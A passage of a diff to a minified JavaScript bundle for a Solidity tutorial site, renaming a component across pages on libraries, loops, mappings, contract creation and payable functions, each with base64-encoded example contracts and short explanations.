zIGJldHdlZW4gdGhlIGVsZW1lbnRzLgpsaWJyYXJ5IEFycmF5IHsKICAgIGZ1bmN0aW9uIHJlbW92ZSh1aW50MjU2W10gc3RvcmFnZSBhcnIsIHVpbnQyNTYgaW5kZXgpIHB1YmxpYyB7CiAgICAgICAgLy8gTW92ZSB0aGUgbGFzdCBlbGVtZW50IGludG8gdGhlIHBsYWNlIHRvIGRlbGV0ZQogICAgICAgIHJlcXVpcmUoYXJyLmxlbmd0aCA+IDAsICJDYW4ndCByZW1vdmUgZnJvbSBlbXB0eSBhcnJheSIpOwogICAgICAgIGFycltpbmRleF0gPSBhcnJbYXJyLmxlbmd0aCAtIDFdOwogICAgICAgIGFyci5wb3AoKTsKICAgIH0KfQoKY29udHJhY3QgVGVzdEFycmF5IHsKICAgIHVzaW5nIEFycmF5IGZvciB1aW50MjU2W107CgogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CgogICAgZnVuY3Rpb24gdGVzdEFycmF5UmVtb3ZlKCkgcHVibGljIHsKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCAzOyBpKyspIHsKICAgICAgICAgICAgYXJyLnB1c2goaSk7CiAgICAgICAgfQoKICAgICAgICBhcnIucmVtb3ZlKDEpOwoKICAgICAgICBhc3NlcnQoYXJyLmxlbmd0aCA9PSAyKTsKICAgICAgICBhc3NlcnQoYXJyWzBdID09IDApOwogICAgICAgIGFzc2VydChhcnJbMV0gPT0gMik7CiAgICB9Cn0K"}],_Z=`

                                        Libraries are similar to contracts, but you can't declare any state variable and +`,DZ=({prev:s,next:a})=>r.jsx(A,{version:MZ,title:SZ,description:xZ,html:zZ,prev:s,next:a,codes:JZ}),EZ="0.8.24",QZ="Library",TZ="Example of how to write and use libraries in your Solidity code",UZ=[{fileName:"Library.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmxpYnJhcnkgTWF0aCB7CiAgICBmdW5jdGlvbiBzcXJ0KHVpbnQyNTYgeSkgaW50ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBpZiAoeSA+IDMpIHsKICAgICAgICAgICAgeiA9IHk7CiAgICAgICAgICAgIHVpbnQyNTYgeCA9IHkgLyAyICsgMTsKICAgICAgICAgICAgd2hpbGUgKHggPCB6KSB7CiAgICAgICAgICAgICAgICB6ID0geDsKICAgICAgICAgICAgICAgIHggPSAoeSAvIHggKyB4KSAvIDI7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKHkgIT0gMCkgewogICAgICAgICAgICB6ID0gMTsKICAgICAgICB9CiAgICAgICAgLy8gZWxzZSB6ID0gMCAoZGVmYXVsdCB2YWx1ZSkKICAgIH0KfQoKY29udHJhY3QgVGVzdE1hdGggewogICAgZnVuY3Rpb24gdGVzdFNxdWFyZVJvb3QodWludDI1NiB4KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIE1hdGguc3FydCh4KTsKICAgIH0KfQoKLy8gQXJyYXkgZnVuY3Rpb24gdG8gZGVsZXRlIGVsZW1lbnQgYXQgaW5kZXggYW5kIHJlLW9yZ2FuaXplIHRoZSBhcnJheQovLyBzbyB0aGF0IHRoZXJlIGFyZSBubyBnYXBzIGJldHdlZW4gdGhlIGVsZW1lbnRzLgpsaWJyYXJ5IEFycmF5IHsKICAgIGZ1bmN0aW9uIHJlbW92ZSh1aW50MjU2W10gc3RvcmFnZSBhcnIsIHVpbnQyNTYgaW5kZXgpIHB1YmxpYyB7CiAgICAgICAgLy8gTW92ZSB0aGUgbGFzdCBlbGVtZW50IGludG8gdGhlIHBsYWNlIHRvIGRlbGV0ZQogICAgICAgIHJlcXVpcmUoYXJyLmxlbmd0aCA+IDAsICJDYW4ndCByZW1vdmUgZnJvbSBlbXB0eSBhcnJheSIpOwogICAgICAgIGFycltpbmRleF0gPSBhcnJbYXJyLmxlbmd0aCAtIDFdOwogICAgICAgIGFyci5wb3AoKTsKICAgIH0KfQoKY29udHJhY3QgVGVzdEFycmF5IHsKICAgIHVzaW5nIEFycmF5IGZvciB1aW50MjU2W107CgogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CgogICAgZnVuY3Rpb24gdGVzdEFycmF5UmVtb3ZlKCkgcHVibGljIHsKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCAzOyBpKyspIHsKICAgICAgICAgICAgYXJyLnB1c2goaSk7CiAgICAgICAgfQoKICAgICAgICBhcnIucmVtb3ZlKDEpOwoKICAgICAgICBhc3NlcnQoYXJyLmxlbmd0aCA9PSAyKTsKICAgICAgICBhc3NlcnQoYXJyWzBdID09IDApOwogICAgICAgIGFzc2VydChhcnJbMV0gPT0gMik7CiAgICB9Cn0K"}],_Z=`

                                        Libraries are similar to contracts, but you can't declare any state variable and you can't send ether.

                                        A library is embedded into the contract if all library functions are internal.

                                        Otherwise the library must be deployed and then linked before the contract is deployed.

                                        @@ -11029,7 +11029,7 @@ you can't send ether.

                                        assert(arr[1] == 2); } } -`,LZ=({prev:s,next:a})=>r.jsx(u,{version:EZ,title:QZ,description:TZ,html:_Z,prev:s,next:a,codes:UZ}),OZ="0.8.24",PZ="For and While Loop",$Z="Example of for and while loop in Solidity",qZ=[{fileName:"Loop.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IExvb3AgewogICAgZnVuY3Rpb24gbG9vcCgpIHB1YmxpYyB7CiAgICAgICAgLy8gZm9yIGxvb3AKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCAxMDsgaSsrKSB7CiAgICAgICAgICAgIGlmIChpID09IDMpIHsKICAgICAgICAgICAgICAgIC8vIFNraXAgdG8gbmV4dCBpdGVyYXRpb24gd2l0aCBjb250aW51ZQogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGkgPT0gNSkgewogICAgICAgICAgICAgICAgLy8gRXhpdCBsb29wIHdpdGggYnJlYWsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyB3aGlsZSBsb29wCiAgICAgICAgdWludDI1NiBqOwogICAgICAgIHdoaWxlIChqIDwgMTApIHsKICAgICAgICAgICAgaisrOwogICAgICAgIH0KICAgIH0KfQo="}],sW=`

                                        Solidity supports for, while, and do while loops.

                                        +`,LZ=({prev:s,next:a})=>r.jsx(A,{version:EZ,title:QZ,description:TZ,html:_Z,prev:s,next:a,codes:UZ}),OZ="0.8.24",PZ="For and While Loop",$Z="Example of for and while loop in Solidity",qZ=[{fileName:"Loop.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IExvb3AgewogICAgZnVuY3Rpb24gbG9vcCgpIHB1YmxpYyB7CiAgICAgICAgLy8gZm9yIGxvb3AKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCAxMDsgaSsrKSB7CiAgICAgICAgICAgIGlmIChpID09IDMpIHsKICAgICAgICAgICAgICAgIC8vIFNraXAgdG8gbmV4dCBpdGVyYXRpb24gd2l0aCBjb250aW51ZQogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGkgPT0gNSkgewogICAgICAgICAgICAgICAgLy8gRXhpdCBsb29wIHdpdGggYnJlYWsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyB3aGlsZSBsb29wCiAgICAgICAgdWludDI1NiBqOwogICAgICAgIHdoaWxlIChqIDwgMTApIHsKICAgICAgICAgICAgaisrOwogICAgICAgIH0KICAgIH0KfQo="}],sW=`

                                        Solidity supports for, while, and do while loops.

                                        Don't write loops that are unbounded as this can hit the gas limit, causing your transaction to fail.

                                        For the reason above, while and do while loops are rarely used.

                                        // SPDX-License-Identifier: MIT
@@ -11056,7 +11056,7 @@ you can't send ether.
                                        
         }
     }
 }
-
                                        `,aW=({prev:s,next:a})=>r.jsx(u,{version:OZ,title:PZ,description:$Z,html:sW,prev:s,next:a,codes:qZ}),nW="0.8.24",lW="Mapping",pW="Example of using mapping in Solidity",eW=[{fileName:"Mapping.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE1hcHBpbmcgewogICAgLy8gTWFwcGluZyBmcm9tIGFkZHJlc3MgdG8gdWludAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBteU1hcDsKCiAgICBmdW5jdGlvbiBnZXQoYWRkcmVzcyBfYWRkcikgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIC8vIE1hcHBpbmcgYWx3YXlzIHJldHVybnMgYSB2YWx1ZS4KICAgICAgICAvLyBJZiB0aGUgdmFsdWUgd2FzIG5ldmVyIHNldCwgaXQgd2lsbCByZXR1cm4gdGhlIGRlZmF1bHQgdmFsdWUuCiAgICAgICAgcmV0dXJuIG15TWFwW19hZGRyXTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXQoYWRkcmVzcyBfYWRkciwgdWludDI1NiBfaSkgcHVibGljIHsKICAgICAgICAvLyBVcGRhdGUgdGhlIHZhbHVlIGF0IHRoaXMgYWRkcmVzcwogICAgICAgIG15TWFwW19hZGRyXSA9IF9pOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZShhZGRyZXNzIF9hZGRyKSBwdWJsaWMgewogICAgICAgIC8vIFJlc2V0IHRoZSB2YWx1ZSB0byB0aGUgZGVmYXVsdCB2YWx1ZS4KICAgICAgICBkZWxldGUgbXlNYXBbX2FkZHJdOwogICAgfQp9Cgpjb250cmFjdCBOZXN0ZWRNYXBwaW5nIHsKICAgIC8vIE5lc3RlZCBtYXBwaW5nIChtYXBwaW5nIGZyb20gYWRkcmVzcyB0byBhbm90aGVyIG1hcHBpbmcpCiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gbWFwcGluZyh1aW50MjU2ID0+IGJvb2wpKSBwdWJsaWMgbmVzdGVkOwoKICAgIGZ1bmN0aW9uIGdldChhZGRyZXNzIF9hZGRyMSwgdWludDI1NiBfaSkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIC8vIFlvdSBjYW4gZ2V0IHZhbHVlcyBmcm9tIGEgbmVzdGVkIG1hcHBpbmcKICAgICAgICAvLyBldmVuIHdoZW4gaXQgaXMgbm90IGluaXRpYWxpemVkCiAgICAgICAgcmV0dXJuIG5lc3RlZFtfYWRkcjFdW19pXTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXQoYWRkcmVzcyBfYWRkcjEsIHVpbnQyNTYgX2ksIGJvb2wgX2JvbykgcHVibGljIHsKICAgICAgICBuZXN0ZWRbX2FkZHIxXVtfaV0gPSBfYm9vOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZShhZGRyZXNzIF9hZGRyMSwgdWludDI1NiBfaSkgcHVibGljIHsKICAgICAgICBkZWxldGUgbmVzdGVkW19hZGRyMV1bX2ldOwogICAgfQp9Cg=="}],cW=`

                                        Maps are created with the syntax mapping(keyType => valueType).

                                        +`,aW=({prev:s,next:a})=>r.jsx(A,{version:OZ,title:PZ,description:$Z,html:sW,prev:s,next:a,codes:qZ}),nW="0.8.24",lW="Mapping",pW="Example of using mapping in Solidity",eW=[{fileName:"Mapping.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE1hcHBpbmcgewogICAgLy8gTWFwcGluZyBmcm9tIGFkZHJlc3MgdG8gdWludAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBteU1hcDsKCiAgICBmdW5jdGlvbiBnZXQoYWRkcmVzcyBfYWRkcikgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIC8vIE1hcHBpbmcgYWx3YXlzIHJldHVybnMgYSB2YWx1ZS4KICAgICAgICAvLyBJZiB0aGUgdmFsdWUgd2FzIG5ldmVyIHNldCwgaXQgd2lsbCByZXR1cm4gdGhlIGRlZmF1bHQgdmFsdWUuCiAgICAgICAgcmV0dXJuIG15TWFwW19hZGRyXTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXQoYWRkcmVzcyBfYWRkciwgdWludDI1NiBfaSkgcHVibGljIHsKICAgICAgICAvLyBVcGRhdGUgdGhlIHZhbHVlIGF0IHRoaXMgYWRkcmVzcwogICAgICAgIG15TWFwW19hZGRyXSA9IF9pOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZShhZGRyZXNzIF9hZGRyKSBwdWJsaWMgewogICAgICAgIC8vIFJlc2V0IHRoZSB2YWx1ZSB0byB0aGUgZGVmYXVsdCB2YWx1ZS4KICAgICAgICBkZWxldGUgbXlNYXBbX2FkZHJdOwogICAgfQp9Cgpjb250cmFjdCBOZXN0ZWRNYXBwaW5nIHsKICAgIC8vIE5lc3RlZCBtYXBwaW5nIChtYXBwaW5nIGZyb20gYWRkcmVzcyB0byBhbm90aGVyIG1hcHBpbmcpCiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gbWFwcGluZyh1aW50MjU2ID0+IGJvb2wpKSBwdWJsaWMgbmVzdGVkOwoKICAgIGZ1bmN0aW9uIGdldChhZGRyZXNzIF9hZGRyMSwgdWludDI1NiBfaSkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIC8vIFlvdSBjYW4gZ2V0IHZhbHVlcyBmcm9tIGEgbmVzdGVkIG1hcHBpbmcKICAgICAgICAvLyBldmVuIHdoZW4gaXQgaXMgbm90IGluaXRpYWxpemVkCiAgICAgICAgcmV0dXJuIG5lc3RlZFtfYWRkcjFdW19pXTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXQoYWRkcmVzcyBfYWRkcjEsIHVpbnQyNTYgX2ksIGJvb2wgX2JvbykgcHVibGljIHsKICAgICAgICBuZXN0ZWRbX2FkZHIxXVtfaV0gPSBfYm9vOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZShhZGRyZXNzIF9hZGRyMSwgdWludDI1NiBfaSkgcHVibGljIHsKICAgICAgICBkZWxldGUgbmVzdGVkW19hZGRyMV1bX2ldOwogICAgfQp9Cg=="}],cW=`

                                        Maps are created with the syntax mapping(keyType => valueType).

                                        The keyType can be any built-in value type, bytes, string, or any contract.

                                        valueType can be any type including another mapping or an array.

                                        Mappings are not iterable.

                                        @@ -11102,7 +11102,7 @@ you can't send ether.

                                        delete nested[_addr1][_i]; } } -`,tW=({prev:s,next:a})=>r.jsx(u,{version:nW,title:lW,description:pW,html:cW,prev:s,next:a,codes:eW}),oW="0.8.24",rW="Contract that Creates other Contracts",iW="Learn how to create new contracts from inside of a contract with Solidity",gW=[{fileName:"NewContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENhciB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIHN0cmluZyBwdWJsaWMgbW9kZWw7CiAgICBhZGRyZXNzIHB1YmxpYyBjYXJBZGRyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX293bmVyLCBzdHJpbmcgbWVtb3J5IF9tb2RlbCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICAgICAgbW9kZWwgPSBfbW9kZWw7CiAgICAgICAgY2FyQWRkciA9IGFkZHJlc3ModGhpcyk7CiAgICB9Cn0KCmNvbnRyYWN0IENhckZhY3RvcnkgewogICAgQ2FyW10gcHVibGljIGNhcnM7CgogICAgZnVuY3Rpb24gY3JlYXRlKGFkZHJlc3MgX293bmVyLCBzdHJpbmcgbWVtb3J5IF9tb2RlbCkgcHVibGljIHsKICAgICAgICBDYXIgY2FyID0gbmV3IENhcihfb3duZXIsIF9tb2RlbCk7CiAgICAgICAgY2Fycy5wdXNoKGNhcik7CiAgICB9CgogICAgZnVuY3Rpb24gY3JlYXRlQW5kU2VuZEV0aGVyKGFkZHJlc3MgX293bmVyLCBzdHJpbmcgbWVtb3J5IF9tb2RlbCkKICAgICAgICBwdWJsaWMKICAgICAgICBwYXlhYmxlCiAgICB7CiAgICAgICAgQ2FyIGNhciA9IChuZXcgQ2FyKXt2YWx1ZTogbXNnLnZhbHVlfShfb3duZXIsIF9tb2RlbCk7CiAgICAgICAgY2Fycy5wdXNoKGNhcik7CiAgICB9CgogICAgZnVuY3Rpb24gY3JlYXRlMihhZGRyZXNzIF9vd25lciwgc3RyaW5nIG1lbW9yeSBfbW9kZWwsIGJ5dGVzMzIgX3NhbHQpCiAgICAgICAgcHVibGljCiAgICB7CiAgICAgICAgQ2FyIGNhciA9IChuZXcgQ2FyKXtzYWx0OiBfc2FsdH0oX293bmVyLCBfbW9kZWwpOwogICAgICAgIGNhcnMucHVzaChjYXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNyZWF0ZTJBbmRTZW5kRXRoZXIoCiAgICAgICAgYWRkcmVzcyBfb3duZXIsCiAgICAgICAgc3RyaW5nIG1lbW9yeSBfbW9kZWwsCiAgICAgICAgYnl0ZXMzMiBfc2FsdAogICAgKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgQ2FyIGNhciA9IChuZXcgQ2FyKXt2YWx1ZTogbXNnLnZhbHVlLCBzYWx0OiBfc2FsdH0oX293bmVyLCBfbW9kZWwpOwogICAgICAgIGNhcnMucHVzaChjYXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldENhcih1aW50MjU2IF9pbmRleCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoCiAgICAgICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgICAgIHN0cmluZyBtZW1vcnkgbW9kZWwsCiAgICAgICAgICAgIGFkZHJlc3MgY2FyQWRkciwKICAgICAgICAgICAgdWludDI1NiBiYWxhbmNlCiAgICAgICAgKQogICAgewogICAgICAgIENhciBjYXIgPSBjYXJzW19pbmRleF07CgogICAgICAgIHJldHVybiAoY2FyLm93bmVyKCksIGNhci5tb2RlbCgpLCBjYXIuY2FyQWRkcigpLCBhZGRyZXNzKGNhcikuYmFsYW5jZSk7CiAgICB9Cn0K"}],hW=`

                                        Contracts can be created by other contracts using the new keyword. Since 0.8.0, new keyword supports create2 feature by specifying salt options.

                                        +`,tW=({prev:s,next:a})=>r.jsx(A,{version:nW,title:lW,description:pW,html:cW,prev:s,next:a,codes:eW}),oW="0.8.24",rW="Contract that Creates other Contracts",iW="Learn how to create new contracts from inside of a contract with Solidity",gW=[{fileName:"NewContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENhciB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIHN0cmluZyBwdWJsaWMgbW9kZWw7CiAgICBhZGRyZXNzIHB1YmxpYyBjYXJBZGRyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX293bmVyLCBzdHJpbmcgbWVtb3J5IF9tb2RlbCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICAgICAgbW9kZWwgPSBfbW9kZWw7CiAgICAgICAgY2FyQWRkciA9IGFkZHJlc3ModGhpcyk7CiAgICB9Cn0KCmNvbnRyYWN0IENhckZhY3RvcnkgewogICAgQ2FyW10gcHVibGljIGNhcnM7CgogICAgZnVuY3Rpb24gY3JlYXRlKGFkZHJlc3MgX293bmVyLCBzdHJpbmcgbWVtb3J5IF9tb2RlbCkgcHVibGljIHsKICAgICAgICBDYXIgY2FyID0gbmV3IENhcihfb3duZXIsIF9tb2RlbCk7CiAgICAgICAgY2Fycy5wdXNoKGNhcik7CiAgICB9CgogICAgZnVuY3Rpb24gY3JlYXRlQW5kU2VuZEV0aGVyKGFkZHJlc3MgX293bmVyLCBzdHJpbmcgbWVtb3J5IF9tb2RlbCkKICAgICAgICBwdWJsaWMKICAgICAgICBwYXlhYmxlCiAgICB7CiAgICAgICAgQ2FyIGNhciA9IChuZXcgQ2FyKXt2YWx1ZTogbXNnLnZhbHVlfShfb3duZXIsIF9tb2RlbCk7CiAgICAgICAgY2Fycy5wdXNoKGNhcik7CiAgICB9CgogICAgZnVuY3Rpb24gY3JlYXRlMihhZGRyZXNzIF9vd25lciwgc3RyaW5nIG1lbW9yeSBfbW9kZWwsIGJ5dGVzMzIgX3NhbHQpCiAgICAgICAgcHVibGljCiAgICB7CiAgICAgICAgQ2FyIGNhciA9IChuZXcgQ2FyKXtzYWx0OiBfc2FsdH0oX293bmVyLCBfbW9kZWwpOwogICAgICAgIGNhcnMucHVzaChjYXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNyZWF0ZTJBbmRTZW5kRXRoZXIoCiAgICAgICAgYWRkcmVzcyBfb3duZXIsCiAgICAgICAgc3RyaW5nIG1lbW9yeSBfbW9kZWwsCiAgICAgICAgYnl0ZXMzMiBfc2FsdAogICAgKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgQ2FyIGNhciA9IChuZXcgQ2FyKXt2YWx1ZTogbXNnLnZhbHVlLCBzYWx0OiBfc2FsdH0oX293bmVyLCBfbW9kZWwpOwogICAgICAgIGNhcnMucHVzaChjYXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldENhcih1aW50MjU2IF9pbmRleCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoCiAgICAgICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgICAgIHN0cmluZyBtZW1vcnkgbW9kZWwsCiAgICAgICAgICAgIGFkZHJlc3MgY2FyQWRkciwKICAgICAgICAgICAgdWludDI1NiBiYWxhbmNlCiAgICAgICAgKQogICAgewogICAgICAgIENhciBjYXIgPSBjYXJzW19pbmRleF07CgogICAgICAgIHJldHVybiAoY2FyLm93bmVyKCksIGNhci5tb2RlbCgpLCBjYXIuY2FyQWRkcigpLCBhZGRyZXNzKGNhcikuYmFsYW5jZSk7CiAgICB9Cn0K"}],hW=`

                                        Contracts can be created by other contracts using the new keyword. Since 0.8.0, new keyword supports create2 feature by specifying salt options.

                                        // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -11165,7 +11165,7 @@ you can't send ether.
                                        
         return (car.owner(), car.model(), car.carAddr(), address(car).balance);
     }
 }
-
                                        `,IW=({prev:s,next:a})=>r.jsx(u,{version:oW,title:rW,description:iW,html:hW,prev:s,next:a,codes:gW}),dW="0.8.24",CW="Payable",jW="An example of how to use the keyword payable in Solidity",uW=[{fileName:"Payable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFBheWFibGUgewogICAgLy8gUGF5YWJsZSBhZGRyZXNzIGNhbiBzZW5kIEV0aGVyIHZpYSB0cmFuc2ZlciBvciBzZW5kCiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIG93bmVyOwoKICAgIC8vIFBheWFibGUgY29uc3RydWN0b3IgY2FuIHJlY2VpdmUgRXRoZXIKICAgIGNvbnN0cnVjdG9yKCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGRlcG9zaXQgRXRoZXIgaW50byB0aGlzIGNvbnRyYWN0LgogICAgLy8gQ2FsbCB0aGlzIGZ1bmN0aW9uIGFsb25nIHdpdGggc29tZSBFdGhlci4KICAgIC8vIFRoZSBiYWxhbmNlIG9mIHRoaXMgY29udHJhY3Qgd2lsbCBiZSBhdXRvbWF0aWNhbGx5IHVwZGF0ZWQuCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgcHVibGljIHBheWFibGUge30KCiAgICAvLyBDYWxsIHRoaXMgZnVuY3Rpb24gYWxvbmcgd2l0aCBzb21lIEV0aGVyLgogICAgLy8gVGhlIGZ1bmN0aW9uIHdpbGwgdGhyb3cgYW4gZXJyb3Igc2luY2UgdGhpcyBmdW5jdGlvbiBpcyBub3QgcGF5YWJsZS4KICAgIGZ1bmN0aW9uIG5vdFBheWFibGUoKSBwdWJsaWMge30KCiAgICAvLyBGdW5jdGlvbiB0byB3aXRoZHJhdyBhbGwgRXRoZXIgZnJvbSB0aGlzIGNvbnRyYWN0LgogICAgZnVuY3Rpb24gd2l0aGRyYXcoKSBwdWJsaWMgewogICAgICAgIC8vIGdldCB0aGUgYW1vdW50IG9mIEV0aGVyIHN0b3JlZCBpbiB0aGlzIGNvbnRyYWN0CiAgICAgICAgdWludDI1NiBhbW91bnQgPSBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CgogICAgICAgIC8vIHNlbmQgYWxsIEV0aGVyIHRvIG93bmVyCiAgICAgICAgKGJvb2wgc3VjY2VzcywpID0gb3duZXIuY2FsbHt2YWx1ZTogYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzdWNjZXNzLCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KCiAgICAvLyBGdW5jdGlvbiB0byB0cmFuc2ZlciBFdGhlciBmcm9tIHRoaXMgY29udHJhY3QgdG8gYWRkcmVzcyBmcm9tIGlucHV0CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHBheWFibGUgX3RvLCB1aW50MjU2IF9hbW91bnQpIHB1YmxpYyB7CiAgICAgICAgLy8gTm90ZSB0aGF0ICJ0byIgaXMgZGVjbGFyZWQgYXMgcGF5YWJsZQogICAgICAgIChib29sIHN1Y2Nlc3MsKSA9IF90by5jYWxse3ZhbHVlOiBfYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzdWNjZXNzLCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQo="}],AW=`

                                        Functions and addresses declared payable can receive ether into the contract.

                                        +`,IW=({prev:s,next:a})=>r.jsx(A,{version:oW,title:rW,description:iW,html:hW,prev:s,next:a,codes:gW}),dW="0.8.24",CW="Payable",jW="An example of how to use the keyword payable in Solidity",AW=[{fileName:"Payable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFBheWFibGUgewogICAgLy8gUGF5YWJsZSBhZGRyZXNzIGNhbiBzZW5kIEV0aGVyIHZpYSB0cmFuc2ZlciBvciBzZW5kCiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIG93bmVyOwoKICAgIC8vIFBheWFibGUgY29uc3RydWN0b3IgY2FuIHJlY2VpdmUgRXRoZXIKICAgIGNvbnN0cnVjdG9yKCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGRlcG9zaXQgRXRoZXIgaW50byB0aGlzIGNvbnRyYWN0LgogICAgLy8gQ2FsbCB0aGlzIGZ1bmN0aW9uIGFsb25nIHdpdGggc29tZSBFdGhlci4KICAgIC8vIFRoZSBiYWxhbmNlIG9mIHRoaXMgY29udHJhY3Qgd2lsbCBiZSBhdXRvbWF0aWNhbGx5IHVwZGF0ZWQuCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgcHVibGljIHBheWFibGUge30KCiAgICAvLyBDYWxsIHRoaXMgZnVuY3Rpb24gYWxvbmcgd2l0aCBzb21lIEV0aGVyLgogICAgLy8gVGhlIGZ1bmN0aW9uIHdpbGwgdGhyb3cgYW4gZXJyb3Igc2luY2UgdGhpcyBmdW5jdGlvbiBpcyBub3QgcGF5YWJsZS4KICAgIGZ1bmN0aW9uIG5vdFBheWFibGUoKSBwdWJsaWMge30KCiAgICAvLyBGdW5jdGlvbiB0byB3aXRoZHJhdyBhbGwgRXRoZXIgZnJvbSB0aGlzIGNvbnRyYWN0LgogICAgZnVuY3Rpb24gd2l0aGRyYXcoKSBwdWJsaWMgewogICAgICAgIC8vIGdldCB0aGUgYW1vdW50IG9mIEV0aGVyIHN0b3JlZCBpbiB0aGlzIGNvbnRyYWN0CiAgICAgICAgdWludDI1NiBhbW91bnQgPSBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CgogICAgICAgIC8vIHNlbmQgYWxsIEV0aGVyIHRvIG93bmVyCiAgICAgICAgKGJvb2wgc3VjY2VzcywpID0gb3duZXIuY2FsbHt2YWx1ZTogYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzdWNjZXNzLCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KCiAgICAvLyBGdW5jdGlvbiB0byB0cmFuc2ZlciBFdGhlciBmcm9tIHRoaXMgY29udHJhY3QgdG8gYWRkcmVzcyBmcm9tIGlucHV0CiAgI